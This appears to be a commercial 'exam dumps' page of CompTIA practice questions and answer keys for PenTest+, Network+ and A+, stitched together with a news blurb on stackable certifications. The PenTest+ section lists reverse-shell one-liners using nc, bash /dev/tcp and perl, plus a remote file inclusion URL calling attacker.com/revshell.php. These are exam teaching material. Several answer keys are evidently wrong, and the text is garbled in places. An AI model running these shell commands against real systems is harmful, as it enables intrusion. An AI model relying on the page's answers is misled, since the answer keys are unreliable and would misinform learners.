“CompTIA PenTest+ PT0-001 Study Guide” Exam PT0-001. Here you can get the latest free CompTIA PT0-001 exam exercise questions and answers for free and easily improve your skills!
PT0-001 exam: The CompTIA PenTest+ certification verifies that successful candidates have the knowledge and skills required to plan and scope an assessment, understand legal and compliance requirements, perform vulnerability scanning and penetration testing, analyze data, and effectively report and communicate results. Follow the link to find more information about https://www.lead4pass.com/pt0-001.html exam.
CompTIA PenTest+ assesses the most up-to-date penetration testing, and vulnerability assessment and management skills necessary to determine the resiliency of the network against attacks. Successful candidates will have the intermediate skills required to customize assessment frameworks to effectively collaborate on and report findings. Candidates will also have the best practices to communicate recommended strategies to improve the overall state of IT security.
Free CompTIA PT0-001 Exam Practice Questions
QUESTION 1 A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information? A. Rules of engagement B. Request for proposal C. Master service agreement D. Business impact analysis Correct Answer: A
QUESTION 2 An attacker uses SET to make a copy of a company\\’s cloud-hosted web mail portal and sends an email m to obtain the CEO s login credentials Which of the following types of attacks is this an example of? A. Elicitation attack B. Impersonation attack C. Spear phishing attack D. Drive-by download attack Correct Answer: C
QUESTION 3 An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment? A. Selection of the appropriate set of security testing tools B. Current and load ratings of the ICS components C. Potential operational and safety hazards D. Electrical certification of hardware used in the test Correct Answer: A
QUESTION 4 A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester mostly like use? A. perl -e ` use SOCKET\\’; $i=\\’; $p=\\’443; B. ssh [email protected] -p 443 C. nc -e /bin/sh 443 D. bash -i >and /dev/tcp// 443 0>and1 Correct Answer: A References: https://hackernoon.com/reverse-shell-cf154dfee6bd
QUESTION 5 A security consultant found a SCADA device in one of the VLANs in scope. Which of the following actions would BEST create a potentially destructive outcome against device? A. Launch an SNMP password brute force attack against the device. B. Lunch a Nessus vulnerability scan against the device. C. Launch a DNS cache poisoning attack against the device. D. Launch an SMB exploit against the device. Correct Answer: A
QUESTION 6 While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php Which of the following remediation steps should be taken to prevent this type of attack? A. Implement a blacklist. B. Block URL redirections. C. Double URL encode the parameters. D. Stop external calls from the application. Correct Answer: B
QUESTION 7 A company requested a penetration tester review the security of an in-house-developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO) A. Convert to JAR B. Decompile C. Cross-compile the application D. Convert JAR files to DEX E. Re-sign the APK F. Attach to ADB Correct Answer: BD
QUESTION 8 In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once? A. Common libraries B. Configuration files C. Sandbox escape D. ASLR bypass Correct Answer: A
QUESTION 9 Joe, a penetration tester, is asked to assess a company\\’s physical security by gaining access to its corporate office. Joe ism looking for a method that will enable him to enter the building during business hours or when there are no employee on-site. Which of the following would be MOST effective in accomplishing this? A. Badge cloning B. Lock picking C. Tailgating D. Piggybacking Correct Answer: A http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/
QUESTION 10 A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this? A. dsrm -users “DN=compony.com; OU=hq CN=usera” B. dsuser -name -account -limit 3 C. dsquery uaer -inactive 3 D. dsquery -o -rein -limit 21 Correct Answer: C
QUESTION 11 After several attempts, an attacker was able to gain unauthorized access through a biometric sensor using the attacker\\’s actual fingerprint without exploitation. Which of the following is the MOST likely of what happened? A. The biometric device is tuned more toward false positives B. The biometric device is configured more toward true negatives C. The biometric device is set to fail closed D. The biometnc device duplicated a valid user\\’s fingerpnnt. Correct Answer: A
QUESTION 12 During testing, a critical vulnerability is discovered on a client\\’s core server. Which of the following should be the NEXT action? A. Disable the network port of the affected service. B. Complete all findings, and then submit them to the client. C. Promptly alert the client with details of the finding. D. Take the target offline so it cannot be exploited by an attacker. Correct Answer: A
QUESTION 13 A penetration tester observes that several high numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend? A. Transition the application to another port B. Filter port 443 to specific IP addresses C. Implement a web application firewall D. Disable unneeded services. Correct Answer: D
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N10-007 exam: CompTIA Network+ N10-007 has been updated and reorganized to address the current networking technologies with expanded coverage of several domains by adding:
Critical security concepts to helping networking professionals work with security practitioners
Key cloud computing best practices and typical service models
Coverage of newer hardware and virtualization techniques
Concepts to give individuals the combination of skills to keep the network resilient
QUESTION 1 Which of the following would Kim, a technician, do to monitor remote traffic through an access point? A. Enable an SNMP agent B. Enable network mapping C. Set monitoring SSID D. Select WPA2 Correct Answer: A
QUESTION 2 Which of the following MUST be used when securing a VoIP network consisting of private IP addresses? A. IPS B. Application layer firewall C. IDS D. An unmanaged switch Correct Answer: B
QUESTION 3 Tenants access multiple wireless networks in a building. Users report intermittent connectivity. Which of the following is the MOST likely cause of the problem? A. The channels are overlapping with other wireless networks and should be changed. B. The SSIDs are incompatible and should be renamed. C. The users have incompatible wireless network cards and should upgrade. D. The default idle period for logoff is too short and should be changed to a longer limit. Correct Answer: A
QUESTION 4 A network technician is troubleshooting intermittent issues with VoIP call quality. A throughput tester can help assess the functionality of which of the following? A. LLDP B. VLAN tagging C. QoS D. SIP trunking Correct Answer: C
QUESTION 5 A national cable company providing TV, telephone, and Internet service to home users over its IP network, has been tracking a large increase of network bandwidth due to P2P file sharing. Which of the following should the company deploy to ensure excellent TV and telephone service? A. QoS B. Load balancing C. High availability D. Fiber optics Correct Answer: A
QUESTION 6 company wants the public to be able to connect to the wireless network with minimal security, but not be able to connect to the private internal network. Which of the following firewall rules would BEST accomplish this? A. Content filtering on the wireless access point B. Allow traffic from the wireless access point C. Block traffic from the wireless access point D. Packet filtering on the wireless access point Correct Answer: C
QUESTION 7 Which of the following solutions will detect and disable a rogue access point? A. Port scan B. Packet sniffer C. IPS D. IDS Correct Answer: C
QUESTION 8 Which of the following cable types have a rated MAXIMUM bandwidth of 100Mbps? A. CAT3 B. CAT5 C. CAT5e D. CAT6 Correct Answer: B
QUESTION 9 A user reports a network failure on a computer. The technician determines that the computer and NIC are operating properly. Which of the following tools can the technician use to trace the network cabling back to the punch down block? A. Protocol analyzer B. Multimeter C. Punch down tool D. Toner probe Correct Answer: D
QUESTION 10 A network technician is troubleshooting an issue and has established a theory of probable cause. Which of the following steps should the network technician take NEXT? A. Test the possible solution B. Q1 the users C. Determine what has changed D. Document the theory Correct Answer: A
QUESTION 11 A network technician is assisting the security team with some traffic captures. The security team wants to capture all traffic on a single subnet between the router and the core switch. To do so, the team must ensure there is only a single collision and broadcast domain between the router and the switch from which they will collect traffic. Which of the following should the technician install to BEST meet the goal? A. Bridge B. Crossover cable C. Hub D. Media converter Correct Answer: C
QUESTION 12 Which of the following problems is MOST likely to arise when configuring an IPv6 over IPv4 tunnel? A. Routing loop B. MTU black hole C. Framing errors D. SYN flood Correct Answer: B
QUESTION 13 Joe, an employee at a large regional bank, wants to receive company email on his personal smartphone and table: To authenticate on the mail server, he must first a custom security application on those mobile services. Which of the following policies would BEST enforce this requirement? A. Incident response policy B. BYOD policy C. DLP policy D. Remote access policy Correct Answer: B
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Latest CompTIA 220-1002 Online Exam Practice Questions
QUESTION 1 Which of the following is the amount of memory a user is limited to with a 32-bit version of Windows? A. 2GB B. 4GB C. 8GB D. 16GB Correct Answer: B
QUESTION 2 Joe, a customer, requests to have a technician rename his laptop to the name of his favorite sports team. Which of the following documents MUST the technician consider before performing this action? A. Acceptable use policy B. Inventory management C. EULA D. MDM policy Correct Answer: B
QUESTION 3 Which of the following steps would allow display output from a laptop to an external display? (Select TWO). A. Press the appropriate Function Key combination B. A second video card in the Express card slot C. Disconnect the integrated display D. Enabling second monitor in the Windows Display Settings E. Loading external monitor drivers on the laptop Correct Answer: AD First enable second monitor in Windows Display settings. After that press the function key along with the assigned key to display the output on an external monitor
QUESTION 4 A user notices recent print jobs are not printing to the local printer despite printing fine yesterday. There are no errors indicated on the taskbar printer icon. Which of the following actions should the user take FIRST? A. Check to ensure the printer selected is the default printer B. Check the status of the print server queue C. Cancel all documents and print them again D. Check that the printer is not offline print mode Correct Answer: B
QUESTION 5 A user brings in an older CRT monitor and reports there are issues with the colors and bands of discoloration. Which of the following should be done to correct the issue? A. Replace the power cord B. Reformat C. Increase the refresh rate D. Degauss Correct Answer: D
QUESTION 6 A SOHO has had several issues with various unauthorized devices consuming the network\\’s bandwidth. There are only four network devices that are authorized to access the Internet as well as the local LAN\\’s resources. Which of the following security implementations would MOST likely help disable network access to the unauthorized devices? A. Using complex passwords B. Disabling the use of static IP addresses C. Disabling ports D. MAC filtering Correct Answer: D
QUESTION 7 Which of the following Windows Enterprise OS version Offers BitLocker as a feature that can be enabled? A. Windows 7 B. Windows 8 C. Windows 8.1 D. Windows 10 Correct Answer: A
QUESTION 8 A network administrator needs to be able to securely connect to a local router from within the office. Which of the following protocols should the administrator ensure is enabled on the router? A. RDP B. SSH C. TFTP D. HTTP Correct Answer: B
QUESTION 9 Joe, a user, reports that several of his colleagues have received a suspicious email from his account that he did not send. A technician asks one of the colleagues to forward the email for inspection. After ruling out spoofing, the technician verifies the email originated from the corporate email server. Which of the following is the FIRST step the technician should take to correct this issue? A. See if Joe\\’s email address has been blacklisted B. Change the password on Joe\\’s email account C. Update the antivirus and perform a full scan on the PC D. Isolate Joe\\’s computer from the network Correct Answer: D
QUESTION 10 Joe. a technician, receives notification that a share for production data files on the network Is encrypted. Joe suspects a crypto virus Is active. He checks the rights of the network share to see which departments have access. He then searches the user directories of those departmental users who are looking for encrypted files. He narrows his search to a single user\\’s computer. Once the suspected source of the virus is discovered and removed from the network, which of the following should Joe do NEXT? A. Educate the end user on safe browsing and email habits. B. Scan and remove the malware from the infected system. C. Create a system restore point and reboot the system. D. Schedule antivirus scans and perform Windows updates. Correct Answer: D
QUESTION 11 A technician accessed a network share from a computer joined to workgroup. The technician logged in as “user1” and directed the computer to save the username and password. Several weeks later, the technician wants to log in to this network share using the administrator account. The computer does not prompt for a username and password, but it automatically logs in to the network share under the “user1” account. Which of the following would allow the technician to log in using the “administrator” username? A. Use the command: net use Z: \\fileserver\share B. Go to the Sync Center and disable the offline files feature. C. Delete the “user” account for the network share in Credential Manager. D. Join the computer and file server to a domain and delegate administrator rights to “user1”. E. Use the Advanced Sharing options in the Network and Sharing Center and enable “turn on network discovery”. Correct Answer: A
QUESTION 12 Which of the following user groups had default administrative permissions in previous versions of Windows, but now has no default user rights m Windows 7 and above? A. Power Users B. Performance Monitor Users C. Administrators D. Guests E. Users Correct Answer: C
QUESTION 13 A technician receives a phone call regarding ransomware that has been detected on a PC in a remote office. Which of the following steps should the technician take FIRST? A. Disconnect the PC from the network B. Perform an antivirus scan C. Run a backup and restore D. Educate the end user Correct Answer: A
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Latest CompTIA 220-1001 Online Exam Practice Questions
QUESTION 1 A technician is troubleshooting network connectivity issues after a new wireless router was installed in an office. Users who connect to the new router are unable to access LAN resources. Which of the following is the MOST likely cause of the issue? A. There are conflicting DHCP servers on the network B. There are conflicting ARP records C. There are conflicting gateways on the network D. There are conflicting IP protocols Correct Answer: A
QUESTION 2 A user brings in a smartphone for repair. The device is unable to send/receive calls or connect to WiFi. All applications on the device are working unless they require connectivity. Which of the following is MOST likely causing the problem? A. Airplane mode B. Tethering C. Disabled hotspot D. VPN Correct Answer: A
QUESTION 3 Which of the following channels would commonly be used on an 802.11 wireless network? A. 6 B. 17 C. 802 D. 8080 Correct Answer: A
QUESTION 4 Which of the following is the main purpose of the +5VSB output of a power supply? A. It allows peripherals to draw power when the machine is off B. It provides power to the audio and sound boards of the machine C. It acts as the main voltage supply to the motherboard and processor D. It powers all expansion cards and external device hubs Correct Answer: A
QUESTION 5 There are 20 laptops in a room and they all need to connect wirelessly to the network. Which of the following would be the BEST device to use? A. Switch B. Router C. Access point D. Hub Correct Answer: C
QUESTION 6 A shipping department is having problems with its thermal label printer. Two columns on the left are not appearing on all labels. Which of the following should a technician do FIRST? A. Verify the ribbon is correctly aligned to the label B. Run a label calibration C. Remove stuck labels from the print path D. Replace the print head Correct Answer: A
QUESTION 7 Which of the following has a P4 connector to provide a 12V output? A. Molex connector B. 24-pin adapter C. SCSI cable D. eSATA cable Correct Answer: A
QUESTION 8 A user connects a laptop to a docking station but is unable to see an image on the external monitor. The user tests the docking station USB ports, and they are working fine. Which of the following should be done NEXT? A. Check for firmware updates B. Configure extended display mode C. Replace the external monitor D. Adjust the laptop\\’s BIOS settings Correct Answer: B
QUESTION 9 A technician is troubleshooting network connectivity issue with a remote host. Which of the following tools BEST inform the technician of nodes between the client and the host? (Select TWO). A. tracert B. ping C. tcpdump D. pathping E. netstate F. nslookup G. router Correct Answer: EF
QUESTION 10 DRAG DROP (2) A customer, Ann, has requested two custom PCs, one to be used for gaming and the other to be used as a virtualization workstation for her business. The gaming PC should support the latest games and gaming peripherals. The virtualization workstation should be able to host several production virtual machines as part of Ann\\’s home business. INSTRUCTIONS Use the tabs at the top to switch between the PCs. Objects should be placed on the appropriate slot/display areas and can only be used once. All slot/display areas should be filled. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button. Select and Place:
Correct Answer:
QUESTION 11 A user is experiencing email problems and explains to a technician that all emails with graphics or images do not display the graphics. Which of the following configurations would correct this behavior? A. Change the email settings in antivirus. B. Change the security settings of the email client. C. Change the firewall security settings. D. Change the email proxy settings. E. Change the trusted sites in the browser settings. Correct Answer: B
QUESTION 12 A user has requested a device that could be used for web-conferences while away from work. The device will mainly be used for emailing, document reviewing, and phone calls. Which of the following mobile devices would a technician MOST likely recommend? A. Tablet B. Smart camera C. Phablet D. Web camera Correct Answer: C
QUESTION 13 A company asks a technician to recommend a solution to conserve paper without degrading print quality. Which of the following printer settings would BEST enable the technician to accomplish this request? A. Density B. Collate C. Duplex D. Color management Correct Answer: C
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Latest CompTIA 220-902 Online Exam Practice Questions
QUESTION 1 Which of the following is the correct socket type for a Pentium 4 processor? A. 478 B. 939 C. 1366 D. AM2+ Correct Answer: A
QUESTION 2 An administrator sets up a wireless device that they will need to manage across the Internet. Which of the following security measures would BEST prevent unauthorized access to the device from the Internet? A. Set the channels to wireless 802.11n only B. Change the default username and password C. Enable the wireless AP\\’s MAC filtering D. Enable the wireless AP\\’s WPA2 security Correct Answer: B
QUESTION 3 A computer was recently infected by malware after a flash drive was plugged in. The user, Ann, indicates she never opened any files or folders from the flash drive. A technician needs to prevent this from occurring in the future. Which of the following would accomplish this? A. BitLocker To Go B. Set strong passwords C. Disable usermin D. Disable AutoRun Correct Answer: D
QUESTION 4 After an installation of a video adapter, the screen on a Windows 7 system cannot be seen. Which of the following Windows 7 functions will resolve this? A. Component Management B. Startup Repair C. Device Manager D. Task Manager Correct Answer: B
QUESTION 5 Which of the following file formats does Android use for application installation? A. .ipa B. .api C. .apk D. .exe E. .sdk Correct Answer: C
QUESTION 6 A file is moved from one folder to another within the same disk volume. Which of the following will happen to the permissions on the file? A. The file will get the permissions of both folders B. The file will get the permissions of the destination folder C. The file will keep the original permissions D. The file will have all permissions removed Correct Answer: C
QUESTION 7 A technician has just upgraded RAM on a user\\’s workstation from 4GB to 8GB. The technician now wants to adjust the page file size on the system to the recommended Microsoft settings. Which of the following should be entered for the “Min” portion of the page file setting if using these best practices? A. 4096MB B. 8192MB C. 12288MB D. 16328MB Correct Answer: C
QUESTION 8 A technician is configuring a SOHO network of several Windows 7 PCs for a customer. The customer wants to easily share media and printers between all the PCs. Which of the following Windows features would BEST accomplish this\\’ A. Homegroup B. Workgroup C. Directory Services D. Offline Folders Correct Answer: A
QUESTION 9 Which of the following security threats requires the attacker to be physically located near the target machine? A. Shoulder surfing B. Social engineering C. Phishing D. Rootkit Correct Answer: A
QUESTION 10 What is a common symptom of a problem starting up the Windows 7 operating system? A. Spontaneous shutdown/restart B. Invalid boot disk C. WinRE won\\’t start D. The optical disc failed E. Emergency repair disk doesn\\’t boot F. REGSVR32 has failed Correct Answer: B
QUESTION 11 Ann, a user, reports that a newly purchased laptop is only showing 65GB total on the C. drive, but she purchased a 100GB hard drive. Which of the following is MOST likely the cause of this difference? A. The unavailable space is set aside for Windows system files B. The manufacturer provided a factory recovery partition C. Corrupted data is being stored in the unused space D. The partition was setup incorrectly and needs to be extended Correct Answer: B
QUESTION 12 A user has installed a new USB port replicator for use with their notebook PC. When the replicator monitor port is connected to a monitor, the monitor will only display at its lowest resolution. Which of the following is the MOST likely cause of this issue? A. The monitor self-adjustment control must be configured. B. The monitor is failing and needs to be checked by a technician. C. The drivers for the port replicator may not be current. D. The notebook BIOS is not current and must be updated. Correct Answer: C
QUESTION 13 A network administrator has moved several users\\’ folders to a different server. After mapping to the new shared drive, the users can access each other\\’s\\’ files. Which of the following could be the cause of this issue? A. Administrator permissions B. File permissions C. File fragmentation D. Network segmentation Correct Answer: B
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Online Practice test CompTIA Network+ N10-005 exam questions, 100% real and effective exam questions answers, easy access to N10-005 dumps enhance your skills and experience, N10-005 PDF online Download, Meetexams updates valid exam dumps throughout the year for full N10-005 exam dumps: https://www.lead4pass.com/n10-005.html (Total Questions: 828 Q&A)
Latest effective CompTIA Network+ N10-005 Exam Practice Tests
QUESTION 1 Which of the following devices acts as a gateway between clients and servers? A. WINS server B. Proxy server C. Content filter D. DNS server Correct Answer: B
QUESTION 2 A network administrator suspects a broadcast storm is causing performance issues on the network. Which of the following would be used to verify this situation? A. Environmental monitor B. Multimeter C. Toner probe D. Protocol analyzer Correct Answer: D A “Protocol analyzer” is a tool (hardware or software) used to capture and analyze signals and data traffic over a communication channel.
QUESTION 3 Which of the following is the control when observing network bandwidth patterns over time? A. Network log B. Baseline C. Flow data D. Interface statistics Correct Answer: B To successfully baseline a network it is important to consider two functions; performance at protocol level and performance at application level. There are many significant metrics to consider at the protocol level, but only a few which are critical. The most important is bandwidth utilization compared with bandwidth availability. The most likely cause of poor network performance is insufficient bandwidth. Trending bandwidth utilization allows you to recognize problem areas, provide enough bandwidth to reach performance objectives, and predict future capacity requirements. Changes in bandwidth utilization patterns also provide a clear indication of network usage alterations, such as a change in end-user behavior, or the unauthorized addition of an application.
QUESTION 4 Which of the following wireless parameters may need to be modified when a new cordless telephone is installed? A. Encryption type B. SSID C. IP address D. Channel Correct Answer: D
QUESTION 5 A technician has low signal strength connecting two wireless bridges. Which of the following could be the problem? A. Low PoE wattage B. Opposing antenna polarizations C. Short distance between antennas D. WPA 2 encryption Correct Answer: B The polarization of an antenna is the orientation of the electric field (E-plane) of the radio wave with respect to the Earth\\’s surface and is determined by the physical structure of the antenna and by its orientation. It has nothing in common with antenna directionality terms: “horizontal”, “vertical”, and “circular”. Thus, a simple straight wire antenna will have one polarization when mounted vertically, and a different polarization when mounted horizontally.
QUESTION 6 Which of the following would a technician do to monitor remote traffic through an access point? A. Enable an SNMP agent B. Enable network mapping C. Set monitoring SSID D. Select WPA2 Correct Answer: A Large networks with hundreds or thousands of nodes are difficult to manage without a large staff to monitor every computer. SNMP, which is widely used in local area networks (LANs), lets you monitor network nodes from a management host. You can monitor network devices such as servers, workstations, printers, routers, bridges, and hubs, as well as services such as Dynamic Host Configuration Protocol (DHCP) or Windows Internet Name Service (WINS).
QUESTION 7 A company has a remote access VPN and wants to ensure that if a username and password are compromised, the corporate network will remain secure. Which of the following will allow the company to achieve its security goal? A. Posture assessment B. Kerberos C. TACACS+ D. Two-factor authentication Correct Answer: D
QUESTION 8 A network administrator wants to perform a test to see if any systems are passing clear text through the network. Which of the following would be used? A. Social engineering B. Packet sniffing C. Rogue access point D. Man-in-the-middle Correct Answer: B
QUESTION 9 A technician is tasked with rewiring a CAT5e SOHO network with 10 existing computers. The users are currently running at 100 Mbps and would like to be upgraded to 1000 Mbps. Which of the following should the technician do FIRST? A. Upgrade the existing computers B. Purchase a new 802.11ac access point and install. C. Install CAT6 wiring for the SOHO network D. Verify the network cards can support 1Gbps Correct Answer: D
QUESTION 10 Which of the following can MOST likely cause intermittent connection problems with a CAT5 network cable? A. Cable has been looped too many times. B. Cable has a twist tie attached too close to the connector. C. Cable is too warm. D. Cable is run too close to a fluorescent light. Correct Answer: D Cat 5 is a twisted pair cable for carrying signals. This type of cable is used in structured cabling for computer networks such as Ethernet. The cable standard provides performance of up to 100 MHz and is suitable for 10BASE-T, 100BASE- TX (Fast Ethernet), and 1000BASE-T (Gigabit Ethernet).
QUESTION 11 An 802.11b wireless network has a maximum data rate of: A. 11 Mbps. B. 20 Mbps. C. 28 Mbps. D. 54 Mbps. Correct Answer: A
QUESTION 12 A customer is implementing a VoIP infrastructure using an existing network. The customer currently has all network devices on the same subnet and would like the phones to be powered without the use of an AC adapter. Which of the following features should be enabled and configured to allow for reliable performance of the VoIP system? (Select THREE). A. WEP B. PoE C. VLANs D. SSL VPN E. IDS F. QoS Correct Answer: BCF As customer don\\’t want to use Ac adapter so Power over Ethernet is best option (PoE) as in this switch provide power to phones.Phones will transfer their power requirement via cdp to vlan assigned.And Qos provide the voice packet priority over the data packets to avoid jitter.
QUESTION 13 Joe has a small office and is looking to replace his phone system with a lower cost solution that requires minimal in- house support. Which of the following is the BEST choice? A. Wide Area Network B. NAT C. Virtual PBX D. Virtual LAN Correct Answer: C Virtual PBX, a business phone system providing call routing, follow-me calling, voice-mail, fax- mail, and ACD queues with no customer installed equipment.
QUESTION 14 Which of the following are considered AAA authentication methods? (Select TWO). A. Kerberos B. Radius C. MS-CHAP D. TACACS+ E. 802.1X Correct Answer: BD
QUESTION 15 There has been an increase in Help Desk tickets related to web portal user accounts being locked out. Which of the following resources would be used to analyze the issue? A. Router logs B. Protocol analyzer C. Firewall logs D. Application logs Correct Answer: D
QUESTION 16 An administrator needs to open ports in the firewall for both DNS and eDNS. Which of the following default ports would need to be opened on the firewall? (Select TWO). A. TCP 23 B. TCP 53 C. TCP 123 D. UDP 23 E. UDP 53 F. UDP 123 Correct Answer: BE
QUESTION 17 A network administrator wants to balance the amount of data between two networking cards. Which of the following can be used for two or more networking cards? A. NIC bonding B. Proxy server C. Firewall ACLs D. VLANs Correct Answer: A
QUESTION 18 A user reports that they are unable to connect to the network. Upon further investigation, a technician notices that the user has an IP address/subnet mask combination of 192.168.204.255/24. The default gateway for the network is 192.168.204.254. Which of the following could the user\\’s IP address be changed to so that they could connect to the network? A. 192.168.204.0/27 B. 192.168.204.1/27 C. 192.168.204.112/24 D. 192.168.204.254/24 Correct Answer: C
QUESTION 19 Which of the following would be the BEST solution for an IDS to monitor known attacks? A. Host-based B. Signature-based C. Network-based D. Behavior-based Correct Answer: B Signature detection involves searching network traffic for a series of bytes or packet sequences known to be malicious. A key advantage of this detection method is that signatures are easy to develop and understand if you know what network behavior you\\’re trying to identify.
QUESTION 20 A user is unable to open up websites on the Internet from a browser. The administrator determines that the workstation can ping its local gateway, but not the remote web server. At which of the following layers of the OSI model does the problem MOST likely exist? A. Data link B. Network C. Session D. Physical Correct Answer: B
QUESTION 21 Which of the following is the definition of a DNS server? A. Hosts proprietary business applications B. Translates FQDN\\’s to IP addresses C. Provides network IDS/IPS security D. Assigns IP addresses to network devices Correct Answer: B Domain Name System (DNS) is the name resolution protocol for TCP/IP networks, such as the Internet. Client computers query a DNS server to resolve memorable, alphanumeric DNS names to the IP addresses that computers use to communicate with each other.
QUESTION 22 Which of the following protocols is MOST commonly associated with VoIP? A. LDAP B. HTTPS C. SIP D. SCP Correct Answer: C The Session Initiation Protocol (SIP) is a signaling communications protocol, widely used for controlling multimedia communication sessions such as voice and video calls over Internet Protocol (IP) networks.
QUESTION 23 Some employees are unable to maintain a wireless network connection. The network\\’s wireless infrastructure is comprised of three different buildings with the configurations listed below. Wireless network in Building A and C is used exclusively for internal employees and Building B is used for visitors and requires no additional configuration on their devices. Which of the following settings would need to be modified to provide the BEST wireless experience for all employees as they move between buildings? Building A Building B Building C Channel: 1 Channel: 6 Channel: 11 Encryption: WPA2 Encryption: Open Encryption: WPA2 SSID. Corp SSID. Guest SSID. Sales A. Change Channel in Building B to 7 B. Change Encryption in Building B to match A and C C. Change Channel in Building C to 1 D. Change SSID in Building C to match Building A Correct Answer: D The configuration difference between users in building A and C is that they have same encryption however the SSID is different so the user has to manually authenticate and connect to the network whenever he will move between buildings. If the SSID\\’s are same then he will not have to authenticate himself again and he will get automatic connectivity.
QUESTION 24 After a new user moves furniture into a cubicle, the computer does not connect to the network any longer. Which of the following would be the MOST likely reason? (Select TWO). A. Bad Ethernet switch port B. TX/RX reversed C. Bad connectors D. Bad patch cable E. Mismatched MTU Correct Answer: CD It could be problem with the bad connector because the user just moved furniture to the cubicle and it is quite possible that the movement of the furniture has created problem by disrupting the cabling and connections. These two are the important things which can be broken down whenever there is a physical movement.
QUESTION 25 A network has a large number of users who connect for short periods of time and the network needs to maximize the number of devices that can be configured using DHCP. Which of the following should be configured to solve this issue? A. Increase the number of reservations B. Increase exclude list C. Decrease lease times D. Decrease the scope Correct Answer: C
QUESTION 26 Which of the following protocols occurs at Layer 4 of the OSI model? A. ISDN B. IPX C. GRE D. UDP Correct Answer: D
QUESTION 27 A technician is troubleshooting a problem where data packets are being corrupted. Which of the following connectivity problems should the technician check? A. Attenuation B. Latency C. Crosstalk D. External interference Correct Answer: C
QUESTION 28 Users in several departments are reporting connectivity problems. The technician examines the computer and finds the following settings. The IP address is 10.0.1.0 with a subnet mask of 255.255.252.0. The default gateway is 10.0.1.1 and the DNS server is 10.0.0.15. A user can connect to the internet but not servers on other internal subnets. The technician is not able to connect with a server with an IP of 10.0.2.25. Which of the following is MOST likely the problem? A. Default gateway B. Duplicate IP address C. Wrong DNS D. Subnet mask Correct Answer: D
QUESTION 29 Which of the following commands would be used to identify how many hops a data packet makes before reaching its final destination? A. route B. netstat C. traceroute D. ping 127.0.0.1 Correct Answer: C
QUESTION 30 A network administrator is looking to implement a solution allowing users to utilize a common password to access most network resources for an organization. Which of the following would BEST provide this functionality? A. RADIUS B. Single sign on C. Multifactor authentication D. Two-factor authentication Correct Answer: B Single sign-on (SSO)is a session/user authentication process that permits a user to enter one name and password in order to access multiple applications. The process authenticates the user for all the applications they have been given rights to and eliminates further prompts when they switch applications during a particular session.
QUESTION 31 Which of the following do 802.11 networks use to handle packet collisions from multiple nodes? A. CSMA/CA B. CSU/DSU C. Ethernet Tokens D. CSMA/CD Correct Answer: A
QUESTION 32 Which of the following describes a single computer that is setup specifically to lure hackers into revealing their methods, and preventing real attacks on the production network? A. Evil twin B. Honeypot C. DMZ D. Honeynet Correct Answer: B In computer terminology, a honeypot is a trap set to detect, deflect, or in some manner counteract attempts at unauthorized use of information systems.
QUESTION 33 Which of the following can determine the last time an address lease was renewed on a network device? A. System log B. Packet sniffer C. Time domain reflectometer D. Stateful packet filter Correct Answer: A
QUESTION 34 A network administrator is adding 24 – 802.3af class 2 VoIP phones and needs to purchase a single PoE switch to power the phones. Which of the following is the MINIMUM PoE dedicated wattage the switch supports to power all of the phones at full power? A. 96W B. 168W C. 240W D. 369.6W Correct Answer: B The switch supports 168W to power all the phones at full power.
QUESTION 35 Which of the following transmission methods do DHCP enabled devices use to request an IP address? A. Broadcast B. Directed broadcast C. Unicast D. Multicast Correct Answer: A
QUESTION 36 A network administrator is configuring PXE boot to reimage a computer lab. Which of the following must be configured on the existing DHCP server to specify the IP address of the imaging server from which the clients must boot? A. Scope B. Reservation C. Option D. Lease Correct Answer: C
QUESTION 37 Which of the following properties of DHCP would a technician use to ensure an IP address is not leased out from the active scope? A. Reservations B. Lease times C. Removing IPs from the active leases D. Configuring the DNS options Correct Answer: A Reservations are permanent lease assignments that are used to ensure that a specified client on a subnet can always use the same IP address. You can use DHCP reservations for hosts that require a consistent IP address, but do not need to be statically configured.
QUESTION 38 A SOHO client has tasked Joe, a technician, with setting up a basic SOHO network to support four laptops and one desktop PC. The client would also like to have a basic wireless network to use for internal devices only that is secure. Given the list of requirements, which of the following devices would Joe need to purchase for his client? (Select TWO). A. IDS B. Repeater C. Switch D. WAP E. UTM device Correct Answer: CD
QUESTION 39 A Linux-based workstation is unable to connect to an IP printer on the same network segment. The printer IP address settings have been verified. How would a network technician verify IP address settings on the Linux-based workstation? A. Run the dig command on the workstation. B. Run the nslookup command on the workstation. C. Run the ipconfig command on the workstation. D. Run the ifconfig command on the workstation. Correct Answer: D The “ifconfig” command allows the linux/unix operating system to setup network interfaces and allow the user to view information about the configured network interfaces.
QUESTION 40 A computer has lost network connectivity. The network technician determines the network cable and the cable drop are both good. Which of the following would the technician use to test the computer\\’s NIC? A. Cable certifier B. Throughput tester C. Loopback plug D. Multimeter Correct Answer: C
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On December 20, CompTIA unveiled a major extension of its certification program called CompTIA Stackable Certification. As far as I know, the idea is to take a combination of two or three kinds of credentials, common or typical, and give them their unique names.
CompTIA introduced “Stackable Certifications,” a new destination for the many of the vendor-neutral skills certifications that it offers. CompTIA Stackable certification follows two CompTIA career paths – infrastructure and cyber security – and offers many qualified routes for stackable certification.
CompTIA believes this is a significant expansion of the certification program that recognizes the deep expertise of certification holders and their unwavering commitment to continued professional growth and development.
“The technology professionals who’ve earned CompTIA Stackable Certifications have done so by passing rigorous exams developed by the industry to validate the technical and business skills that are in the highest demand in today’s economy,” said Todd Thibodeaux, president and CEO, CompTIA.
It means IT professionals’ efforts and skills not only to pursue one (or two) CompTIA certificates, but also to devote considerable time, effort and money to accumulating more of the organization’s supplier-neutral certificates.
This creates a veritable mix of announcements that include the following examples of basic authentication algorithms:
CompTIA A+ and CompTIA Network+ = CompTIA IT Operations Specialist
